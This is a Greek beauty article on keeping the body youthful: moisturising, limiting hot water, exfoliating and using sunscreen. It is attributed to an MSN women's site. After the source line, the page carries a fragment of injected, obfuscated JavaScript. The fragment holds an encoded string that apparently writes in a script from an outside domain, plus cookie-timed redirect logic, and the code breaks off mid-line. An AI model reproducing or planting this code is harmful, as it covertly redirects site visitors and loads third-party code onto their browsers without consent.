Αποκτήστε ένα πιο νεανικό σώμα

Όταν μιλάμε για τη νεανικότητα, έχουμε εμμονή με το πρόσωπο και με το δίκιο μας. Μια φρέσκια, λαμπερή, απαλλαγμένη από ρυτίδες επιδερμίδα δίνει την εντύπωση της υγείας, της ομορφιάς και της νεότητας. Αλλά θέλει προσοχή, γιατί ένα σωστό πρόγραμμα αντιγήρανσης δεν περιλαμβάνει μόνο τη διατήρηση του δέρματος από το λαιμό και πάνω.

Το σώμα σας είναι το ίδιο επιρρεπές στα σημάδια του γήρατος, όμως οι περισσότεροι από εμάς δεν ασχολούμαστε με αυτό το ίδιο εντατικά. “Τα χέρια σας, ο λαιμός και στο στέρνο εμφανίζουν την πρόωρη γήρανση ακριβώς όπως και το πρόσωπο. Αυτές οι περιοχές γίνονται γρήγορα αντιληπτές από τους άλλους και προδίδουν αμέσως την ηλικία σας” λέει η δερματολόγος Dr. Amy Wechsler.

 Διαβάστε μερικές συμβουλές για το πως θα διατηρήσετε το σώμα σας νεότερο:

Διατηρείστε το σώμα σας πάντα ενυδατωμένο

Το μυστικό της απαλής και λαμπερής επιδερμίδας κρύβεται στην ενυδάτωση. Το ξηρό δέρμα τείνει να φαίνεται θαμπό και κουρασμένο. Χρησιμοποιήστε έξτρα ενυδατικό αφρόλουτρο κάθε φορά που πλένεστε.
Μετά το μπάνιο, απλώστε ενυδατική κρέμα τρία λεπτά αφού βγείτε από το μπάνιο ενώ το δέρμα σας είναι ακόμα υγρό. Αυτή η διαδικασία θα βοηθήσει το σώμα σας να απορροφήσει την υγρασία και να την κρατήσει μέσα του.

Προσοχή στην υπερβολική έκθεση στο νερό

Ενώ η ενυδάτωση είναι το κλειδί, η υπερβολική έκθεση της επιδερμίδας σας στο νερό μπορεί να αποδειχθεί βλαβερή. “Αν σκεφτείτε τι επίδραση έχει η υγρασία στο εξωτερικό του σπιτιού σας, το ξεφλούδισμα των τοίχων, τη σκουριά, αυτό ακριβώς φανταστείτε ότι θα συμβεί και με το δέρμα σας αν δεν το περιποιηθείτε” λέει η δερματολόγος Dr. Jeannette Graf.
Ελαχιστοποιήστε το χρόνο που περνάτε σε επαφή με το νερό κάνοντας γρήγορα ντους (λιγότερο από 10 λεπτά) μέρα παρά μέρα. Σιγουρευτείτε ότι το νερό είναι χλιαρό και όχι καυτό όταν πλένεστε γιατί το πολύ ζεστό νερό μπορεί να κάνει το δέρμα σας ξηρό

Απολέπιση, απολέπιση, απολέπιση

Ο χρυσός κανόνας για το πρόσωπο ισχύει και για το σώμα σας. Καθώς τα νεκρά κύτταρα συσσωρεύονται, μπορεί να προκαλέσουν θαμπό, κουρασμένο δέρμα με σπασίματα.
Χρησιμοποιήστε μια κρέμα απολέπισης με ζάχαρη, αλάτι ή μικρές χάντρες για να απομακρύνετε τα νεκρά κύτταρα και απλώστε μια ενυδατική κρέμα με οξέα φρούτων για να κάνετε το δέρμα σας απαλό και λαμπερό.

Προσέξτε την έκθεση στον ήλιο

 Δεν υπάρχει τίποτα πιο βλαβερό για την επιδερμίδα όσο η UV ακτινοβολία. “Η πολύωρη έκθεση στον ήλιο είναι μακροπρόθεσμα ο βασικός ένοχος για τη γήρανση του δέρματος, το σχηματισμό ρυτίδων, τη χαλάρωση και τον ανομοιόμορφο χρωματισμό του” λέει η Graf.
Σιγουρευτείτε ότι το δέρμα σας είναι προστατευμένο χρησιμοποιώντας αντηλιακό 30 λεπτά προτού να βγείτε στον ήλιο. Επιλέξτε υψηλού δείκτη προστασίας αντηλιακό τουλάχιστον SPF 30 και κάντε επαλείψεις κάθε δύο ώρες.

πηγή: women.gr.msn.com
RiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘